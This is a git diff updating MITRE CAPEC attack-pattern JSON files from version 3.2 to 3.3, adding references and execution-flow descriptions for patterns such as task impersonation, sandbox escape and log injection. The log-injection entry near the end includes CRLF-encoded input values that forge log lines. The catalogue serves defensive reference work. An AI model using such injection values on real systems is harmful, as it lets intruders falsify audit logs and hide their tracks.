a/capec/attack-pattern/attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8.json +++ b/capec/attack-pattern/attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8cb18a78-fa2f-49f6-8262-47bc38e20d37", + "id": "bundle--f577f288-9e07-469a-905b-672d1c6399d6", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--177d22be-7b76-4726-8085-61756f95c0ce.json b/capec/attack-pattern/attack-pattern--177d22be-7b76-4726-8085-61756f95c0ce.json index 2bfa88d7ba..12849c32aa 100644 --- a/capec/attack-pattern/attack-pattern--177d22be-7b76-4726-8085-61756f95c0ce.json +++ b/capec/attack-pattern/attack-pattern--177d22be-7b76-4726-8085-61756f95c0ce.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c3e1e3bb-a05d-4e1f-86d7-746e79b83299", + "id": "bundle--3f8d7599-4d76-4d87-9cf5-74e2974dec2c", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1809fa36-f249-4e55-80ab-26570fd24cab.json b/capec/attack-pattern/attack-pattern--1809fa36-f249-4e55-80ab-26570fd24cab.json index 1d5e1e952a..6a190f07e5 100644 --- a/capec/attack-pattern/attack-pattern--1809fa36-f249-4e55-80ab-26570fd24cab.json +++ b/capec/attack-pattern/attack-pattern--1809fa36-f249-4e55-80ab-26570fd24cab.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8c9384be-262c-449d-9c97-cc58b2af1218", + "id": "bundle--683d3f49-c259-4890-8ebe-fd22285ce28b", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c.json b/capec/attack-pattern/attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c.json index cee6fe608d..37471122ac 100644 --- a/capec/attack-pattern/attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c.json +++ b/capec/attack-pattern/attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--92c9d12e-2c39-4916-851a-b8d2e5a6c957", + "id": "bundle--70697c24-281a-448f-8101-36168df14deb", "spec_version": "2.0", "objects": [ { @@ -59,7 +59,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--19015961-475c-438b-887b-e3d66a9143de.json b/capec/attack-pattern/attack-pattern--19015961-475c-438b-887b-e3d66a9143de.json index d6d169a53c..e58a371e87 100644 --- a/capec/attack-pattern/attack-pattern--19015961-475c-438b-887b-e3d66a9143de.json +++ b/capec/attack-pattern/attack-pattern--19015961-475c-438b-887b-e3d66a9143de.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7ae0d04b-ae05-46f4-9b17-389a2adcd5fb", + "id": "bundle--4cc6f63d-0ace-43eb-b513-d540597c2ace", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7.json b/capec/attack-pattern/attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7.json index 49bf838d44..66d5291b87 100644 --- a/capec/attack-pattern/attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7.json +++ b/capec/attack-pattern/attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--50879d03-250d-410a-8734-2302bd82c60b", + "id": "bundle--c2750406-8c03-4e0a-b9b9-e701bd9426bf", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--191fbdab-d3b3-4ffd-8829-51331c20eaa7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Pull Data from System Resources", "description": "An adversary who is authorized or has the ability to search known system resources, does so with the intention of gathering useful information. System resources include files, memory, and other aspects of the target system. In this pattern of attack, the adversary does not necessarily know what they are going to find when they start pulling data. This is different than CAPEC-150 where the adversary knows what they are looking for due to the common location.", "external_references": [ @@ -16,6 +16,42 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/545.html", "external_id": "CAPEC-545" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1243.html", + "external_id": "CWE-1243" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1278.html", + "external_id": "CWE-1278" + }, + { + "source_name": "ATTACK", + "description": "Credentials from Password Stores:Keychain", + "url": "https://attack.mitre.org/wiki/Technique/T1555/001", + "external_id": "T1555.001" } ], "object_marking_refs": [ @@ -23,7 +59,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1995c522-a25d-46e4-b024-65172771a692.json b/capec/attack-pattern/attack-pattern--1995c522-a25d-46e4-b024-65172771a692.json index 7fa7e46c85..1576f9d32e 100644 --- a/capec/attack-pattern/attack-pattern--1995c522-a25d-46e4-b024-65172771a692.json +++ b/capec/attack-pattern/attack-pattern--1995c522-a25d-46e4-b024-65172771a692.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a060b1a0-dc9e-4a3d-913a-52c16b098e73", + "id": "bundle--8bfcf067-0b19-45ba-99ea-06594e771c14", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--1995c522-a25d-46e4-b024-65172771a692", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Task Impersonation", - "description": "An adversary, through a previously installed malicious application, monitors the task list maintained by the operating system and waits for a specific legitimate task to become active. Once the task is detected, the malicious application launches a new task in the foreground that mimics the user interface of the legitimate task. At this point, the user thinks that they are interacting with the legitimate task that they started, but instead they are interacting with the malicious application. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user. Once the adversary's goal is reached, the malicious application can exit, leaving the original trusted application visible and the appearance that nothing out of the ordinary has occurred.", + "description": "An adversary, through a previously installed malicious application, impersonates an expected or routine task in an attempt to steal sensitive information or leverage a user's privileges. When impersonating an expected task, the adversary monitors the task list maintained by the operating system and waits for a specific legitimate task to become active. Once the task is detected, the malicious application launches a new task in the foreground that mimics the user interface of the legitimate task. At this point, the user thinks that they are interacting with the legitimate task that they started, but instead they are interacting with the malicious application. Once the adversary's goal is reached, the malicious application can exit, leaving the original trusted application visible and the appearance that nothing out of the ordinary has occurred. A second approach entails the adversary impersonating an unexpected task, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process requires authentication for some purpose. The user, believing they are interacting with a legitimate task, enters their credentials or authorizes the use of their stored credentials, which the adversary then leverages for nefarious purposes. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user, but may also be used to ride the user's privileges.", "external_references": [ { "source_name": "capec", @@ -32,9 +32,36 @@ "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "x_capec_abstraction": "Detailed", - "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_abstraction": "Standard", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ] + }, + "x_capec_example_instances": [ + "An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.", + "An adversary prompts a user to authorize an elevation of privileges, implying that a background task needs additional permissions to execute. The user accepts the privilege elevation, allowing the adversary to execute additional malware or tasks with the user's privileges." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine suitable tasks to exploit: Determine what tasks exist on the target system that may result in a user providing sensitive information.

    2. Techniques
    Determine what tasks prompt a user for their credentials.
    Determine what tasks may prompt a user to authorize a process to execute with elevated privileges.

Exploit

  1. Impersonate Task: Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials or to ride the user's privileges.

    2. Techniques
    Prompt a user for their credentials, while making the user believe the credential request is legitimate.
    Prompt a user to authorize a task to run with elevated privileges, while making the user believe the request is legitimate.
", + "x_capec_likelihood_of_attack": "Medium", + "x_capec_prerequisites": [ + "The adversary must already have access to the target system via some means.", + "A legitimate task must exist that an adversary can impersonate to glean credentials.", + "The user's privileges allow them to execute certain tasks with elevated privileges." + ], + "x_capec_resources_required": [ + "Malware or some other means to initially comprise the target system.", + "Additional malware to impersonate a legitimate task." + ], + "x_capec_skills_required": { + "Low": "Once an adversary has gained access to the target system, impersonating a task is trivial." + }, + "x_capec_status": "Stable", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--19f01fde-7707-4938-afb5-daa22bf8c93f.json b/capec/attack-pattern/attack-pattern--19f01fde-7707-4938-afb5-daa22bf8c93f.json index 078a969539..d74da44049 100644 --- a/capec/attack-pattern/attack-pattern--19f01fde-7707-4938-afb5-daa22bf8c93f.json +++ b/capec/attack-pattern/attack-pattern--19f01fde-7707-4938-afb5-daa22bf8c93f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0474e6df-9d86-4a7c-b138-2040c6d9f8a8", + "id": "bundle--1e2770a9-74ca-41d3-86c7-93a69aa2747a", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4.json b/capec/attack-pattern/attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4.json index 87cccd5a89..e90cc7e97b 100644 --- a/capec/attack-pattern/attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4.json +++ b/capec/attack-pattern/attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--76153e9c-11e7-41aa-9e71-dc632eeee30a", + "id": "bundle--c0acdf8a-8880-4144-b238-f0ab5d1946d6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Absolute Path Traversal", "description": "An adversary with access to file system resources, either directly or via application logic, will use various file absolute paths and navigation mechanisms such as \"..\" to extend their range of access to inappropriate areas of the file system. The goal of the adversary is to access directories and files that are intended to be restricted from their access.", "external_references": [ @@ -52,7 +52,7 @@ "Medium": "Programming attacks." }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b.json b/capec/attack-pattern/attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b.json index f0c170ce3d..3db44872fb 100644 --- a/capec/attack-pattern/attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b.json +++ b/capec/attack-pattern/attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e1d41b32-49de-4525-9f31-161c37f30a16", + "id": "bundle--d18455b7-d4c3-463c-948f-e638865a808b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--1b75b059-c9ee-4c4d-b016-bafb20cce96b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Probe iOS Screenshots", "description": "An adversary examines screenshot images created by iOS in an attempt to obtain sensitive information. These images are used by iOS to aid in the visual transition between open applications and improve the user's experience with a device. An application can be at risk even if it properly protects sensitive information when at rest. If the application displays sensitive information on the screen, then the potential exists for iOS to unintentionally record that information in an image file. An adversary can retrieve these images either by gaining access to the image files, or by physically obtaining the device and leveraging the multitasking switcher interface.", "external_references": [ @@ -31,7 +31,7 @@ "This type of an attack requires physical access to a device to either excavate the image files (potentially by leveraging a Jailbreak) or view the screenshots through the multitasking switcher (by double tapping the home button on the device)." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29.json b/capec/attack-pattern/attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29.json index 561062a2d0..66d15f3048 100644 --- a/capec/attack-pattern/attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29.json +++ b/capec/attack-pattern/attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6059f8e9-ee71-4ff8-8536-5fc2ab8eebee", + "id": "bundle--b53e9c69-15fc-480f-83dc-02f61a974424", "spec_version": "2.0", "objects": [ { @@ -54,7 +54,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf.json b/capec/attack-pattern/attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf.json index beab3f8c99..b62f58c2fa 100644 --- a/capec/attack-pattern/attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf.json +++ b/capec/attack-pattern/attack-pattern--1be52fc4-a498-4d01-9a68-b560e64e0abf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c5d5ceb5-8cbb-4969-bc1a-905b896c2b3b", + "id": "bundle--a000f612-87af-4832-bab9-eb16f3f49d41", "spec_version": "2.0", "objects": [ { @@ -42,6 +42,7 @@ "x_capec_example_instances": [ "Using MITM techniques, an attacker launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the attacker to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the configuration levels of either the server or client being targeted, preferably both. This is not a hard requirement, as the attacker can simply assume commonly exploitable configuration settings and blindly attempt them.

Experiment

  1. Provide controlled access to the server by the client, by either providing a link for the client to click on, or by positioning one's self at a place on the network to intercept and control the flow of data between client and server, e.g. MITM (man in the middle).

Exploit

  1. Insert the malicious data into the stream that takes advantage of the configuration flaw.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "Access to the client/server stream." @@ -53,7 +54,7 @@ "High": "The attacker needs real-time access to network traffic in such a manner that the attacker can grab needed information from the SSL stream, possibly influence the decided-upon encryption method and options, and perform automated analysis to decipher encrypted material recovered. Tools exist to automate part of the tasks, but to successfully use these tools in an attack scenario requires detailed understanding of the underlying principles." }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1c4b22ea-6dfc-4a95-917e-a7f11f3d34eb.json b/capec/attack-pattern/attack-pattern--1c4b22ea-6dfc-4a95-917e-a7f11f3d34eb.json index 24a0dc9dbb..bf30bc2607 100644 --- a/capec/attack-pattern/attack-pattern--1c4b22ea-6dfc-4a95-917e-a7f11f3d34eb.json +++ b/capec/attack-pattern/attack-pattern--1c4b22ea-6dfc-4a95-917e-a7f11f3d34eb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ac1bb851-9633-44ec-a1bd-62fb6a99fba9", + "id": "bundle--8a215d40-3701-4fa1-a361-71054a0ced47", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1cc991f7-9f62-4e6b-9e37-70fa23ab23e9.json b/capec/attack-pattern/attack-pattern--1cc991f7-9f62-4e6b-9e37-70fa23ab23e9.json index a613d90012..e946892b28 100644 --- a/capec/attack-pattern/attack-pattern--1cc991f7-9f62-4e6b-9e37-70fa23ab23e9.json +++ b/capec/attack-pattern/attack-pattern--1cc991f7-9f62-4e6b-9e37-70fa23ab23e9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a55290e7-137b-4568-8e30-961ebe153367", + "id": "bundle--c4622028-d6a0-4931-bfd2-c38ef8aa7c8f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--1cc991f7-9f62-4e6b-9e37-70fa23ab23e9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Hijacking a Privileged Thread of Execution", "description": "Adversaries can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. This can allow the adversary to access functionality the system's designer didn't intend for them to, but they may also go undetected or deny other users essential services in a catastrophic (or insidiously subtle) way.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/270.html", "external_id": "CWE-270" + }, + { + "source_name": "ATTACK", + "description": "Process Injection:Thread Execution Hijacking", + "url": "https://attack.mitre.org/wiki/Technique/T1055/003", + "external_id": "T1055.003" } ], "object_marking_refs": [ @@ -48,6 +54,7 @@ "x_capec_example_instances": [ "Adversary targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread (e.g., a system call). The adversary could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Adversary determines the underlying system thread that is subject to user-control

Experiment

  1. Adversary then provides input, perhaps by way of environment variables for the process in question, that affect the executing thread

Exploit

  1. Upon successful hijacking, the adversary enjoys elevated privileges, and can possibly have the hijacked thread do their bidding.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users", @@ -61,7 +68,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce.json b/capec/attack-pattern/attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce.json index f73513679f..bcd63cd951 100644 --- a/capec/attack-pattern/attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce.json +++ b/capec/attack-pattern/attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6d216e07-0cb2-41fb-81fa-d4e5facd6cf3", + "id": "bundle--c1f4169b-a2e2-4689-950e-2f660c5090c1", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Escaping a Sandbox by Calling Signed Code in Another Language", "description": "The attacker may submit a malicious signed code from another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.", "external_references": [ @@ -60,6 +60,7 @@ "x_capec_example_instances": [ "Exploit: Java/ByteVerify.C is a detection of malicious code that attempts to exploit a vulnerability in the Microsoft Virtual Machine (VM). The VM enables Java programs to run on Windows platforms. The Microsoft Java VM is included in most versions of Windows and Internet Explorer. In some versions of the Microsoft VM, a vulnerability exists because of a flaw in the way the ByteCode Verifier checks code when it is initially being loaded by the Microsoft VM. The ByteCode Verifier is a low level process in the Microsoft VM that is responsible for checking the validity of code - or byte code - as it is initially being loaded into the Microsoft VM. Java/ByteVerify.C attempts to download a file named \"msits.exe\", located in the same virtual directory as the Java applet, into the Windows system folder, and with a random file name. It then tries to execute this specific file. This flaw enables attackers to execute arbitrary code on a user's machine such as writing, downloading and executing additional malware. This vulnerability is addressed by update MS03-011, released in 2003." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probing: The attacker probes the target application to see whether calling signed code from another language is allowed within a sandbox.

    2. Techniques
    The attacker probes the target application to see whether calling signed code from another language is allowed within a sandbox.

  2. Analysis: The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.

    3. Techniques
    The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.

Experiment

  1. Verify the exploitable security weaknesses: The attacker tries to craft malicious signed code from another language allowed by the sandbox to verify the security weaknesses of the standard libraries found in the Explore phase.

    2. Techniques
    The attacker tries to explore the security weaknesses by calling malicious signed code from another language allowed by the sandbox.

Exploit

  1. Exploit the security weaknesses in the standard libraries: The attacker calls signed malicious code from another language to exploit the security weaknesses in the standard libraries verified in the Experiment phase. The attacker will be able to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox.

    2. Techniques
    The attacker calls signed malicious code from another language to exploit the security weaknesses in the standard libraries.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "A framework-based language that supports code signing and sandbox (such as Java, .Net, JavaScript, and Flash) Deployed code that has been signed by its authoring vendor, or a partner" @@ -72,7 +73,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1d4575c5-62ed-4269-b372-b2aba82a7b4c.json b/capec/attack-pattern/attack-pattern--1d4575c5-62ed-4269-b372-b2aba82a7b4c.json index b322bb065d..c7dcae3394 100644 --- a/capec/attack-pattern/attack-pattern--1d4575c5-62ed-4269-b372-b2aba82a7b4c.json +++ b/capec/attack-pattern/attack-pattern--1d4575c5-62ed-4269-b372-b2aba82a7b4c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8e3a9e9a-f034-4d51-a933-5b86c2b5f433", + "id": "bundle--63858d99-6799-4407-b9c7-aefc3ca45a62", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9.json b/capec/attack-pattern/attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9.json index e277fe26e9..aeb4b9ff39 100644 --- a/capec/attack-pattern/attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9.json +++ b/capec/attack-pattern/attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--da22a5db-ec9e-4b0a-a4ef-0809dddb5d0e", + "id": "bundle--784bbfce-8836-4c17-be77-72e3313b205b", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486.json b/capec/attack-pattern/attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486.json index 48a357d8d3..c84772c65d 100644 --- a/capec/attack-pattern/attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486.json +++ b/capec/attack-pattern/attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--60527e2f-5040-41f9-9f21-ed24df665c31", + "id": "bundle--5388c3a3-69b0-4e95-84c4-a0a3055d8b22", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Log Injection-Tampering-Forging", - "description": "This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.", + "description": "This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.", "external_references": [ { "source_name": "capec", @@ -37,6 +37,12 @@ "url": "http://cwe.mitre.org/data/definitions/713.html", "external_id": "CWE-713" }, + { + "source_name": "ATTACK", + "description": "Indicator Removal on Host", + "url": "https://attack.mitre.org/wiki/Technique/T1070", + "external_id": "T1070" + }, { "source_name": "reference_from_CAPEC", "description": "J. Viega, G. McGraw, Building Secure Software, 2002, Addison-Wesley", @@ -74,6 +80,7 @@ "Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201", "\n If a user submits the string \"twenty-one\" for val, the following entry is logged:\n INFO: Failed to parse val=twenty-one\n However, if an attacker submits the string\n twenty-one%0a%0aINFO:+User+logged+out%3dbadguy\n the following entry is logged:\n INFO: Failed to parse val=twenty-oneINFO: User logged out=badguy\n Clearly, attackers can use this same mechanism to insert arbitrary log entries.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Application's Log File Format: The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.

    2. Techniques
    Determine logging utility being used by application (e.g. log4j)
    Gain access to application's source code to determine log file formats.
    Install or obtain access to instance of application and observe its log file format.

Exploit

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

    2. Techniques
    \n Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:\n \"%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in\"\n may add the following forged entry into a log file:\n \"[Thu Nov 12 12:11:22]:Info: User admin logged in\"\n Different applications may require different encodings of the carriage return and line feed characters.\n
    \n Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain\n \n The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).\n
